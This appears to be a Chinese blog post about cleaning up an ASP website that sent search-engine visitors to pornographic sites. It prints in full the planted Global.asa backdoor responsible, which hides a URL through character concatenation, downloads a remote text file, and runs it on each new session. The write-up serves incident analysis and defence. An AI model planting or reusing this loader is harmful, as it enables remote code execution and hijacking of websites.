zoukankan      html  css  js  c++  java
  • 警惕ASP网站Global.asa导致网站被挂马或转向

    近几天帮朋友处理一个比较有难度的问题,网站输入域名访问正常打开,但从搜索引擎厚度或是Google之类的打开,就会跳转到某些色情网站上去.

    根据经验,可以推断出来应该是asp程序根据网页的来路,即HTTP_REFERER进行判断,发现是搜索引擎过来的流量就跳转到色情站点去,使用此种方法具有很强的隐匿性,因为站长们一般不会去搜索自己的网站,所以轻易不会发现自己站点遭到了挟持。

    因为网站是自己很久前前帮朋友做的,所以要了现在的代码,看了一下,没有发现问题,就开始是不是服务器感染了什么病毒或是被加上了什么IIS过滤器之类的,要了远程桌面,上去找了半天,一无所获,看了一下IP地址,发现是一个内网IP地址,也就是说需要网关将网站映射发布出去,于是怀疑问题是在网关上,但问了朋友之后,得知网关为一路由器,再加上将IIS关闭,网站也就无法打开,不能再跳转,排除了网关加马的可能性。

    难倒走不下去了?

    万般无奈,又回到网站根目录下,顺手打开了显示系统隐藏文件,却发现多了一个Global.asa文件,因为网站是自己做的,比较了解,根本不可能使用这个文件,打开一看,一切疑点都解决了。

    Global.asa文件内容如下:

    <script language="vbscript" runat="server">
    sub Application_OnStart
    end sub

    sub Application_OnEnd
    end sub

    sub Session_OnStart
     url="h"&"t"&"t"&"p"&":"&"/"&"/"&"n"&"e"&"w"&"."&"h"&"a"&"p"&"p"&"y"&"0"&"0"&"7"&"."&"i"&"n"&"f"&"o"&"/"&"a"&"s"&"a"&"/new/wudi/"&"1"&"."&"t"&"x"&"t"
     Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
     ObjXMLHTTP.Open "GET",url,False
     ObjXMLHTTP.setRequestHeader "User-Agent",url
     ObjXMLHTTP.send
     GetHtml=ObjXMLHTTP.responseBody
     Set ObjXMLHTTP=Nothing
     set objStream = Server.CreateObject("Adodb.Stream")
     objStream.Type = 1
     objStream.Mode =3
     objStream.Open
     objStream.Write GetHtml
     objStream.Position = 0
     objStream.Type = 2
     objStream.Charset = "gb2312"
     GetHtml = objStream.ReadText
     objStream.Close
     if instr(GetHtml,"by*jie")>0 then
      execute GetHtml
     end if
    end sub
    'timeb
    'sub Session_OnEnd
    'end sub
    </script>

    因为Global.asa文件为网站启动文件,当一个网站被第一次访问时,会执行Application_Start代码段的内容,当一个用户第一次访问时会执行Session_Start代码段的内容,所以此段代码的作用就是当访问,从http://new.happy007.info/asa/new/wudi/1.txt处下载内容,并执行,太恶心了。

    至此,就达到了将来自于搜索引擎流量挟持走的目的了。

    解决办法也很简单,就是直接删除此文件就可以了,当然最好还是要检查一下网站,查一下为什么会被加上一个Global.asa文件

    最后发现一个问题,删除后第二天又存在了,目前网站上传漏洞不存在,ftp也比较安全,正在怀疑是Host商的问题。 

  • 相关阅读:
    jira使用教程管理项目
    JIRA缺陷管理工具
    目前流行的缺陷管理工具
    delphi 控件dxLayoutControl详解
    Delphi CxGrid 用法详解说明
    Delphi 10.3MitovLabs VCL 控件包关于“E2225: Never-build package 'Mitov_Runtime.dpk' must be recompiled”的问题
    DELPHI的编译指令
    [Delphi] Delphi版本号对照
    DELPHI 2010 > Consider using 'CharInSet' function in 'SysUtils' unit.
    ORA-28000 账号被锁定的解决办法
  • 原文地址:https://www.cnblogs.com/greatwang/p/2648255.html
Copyright © 2011-2022 走看看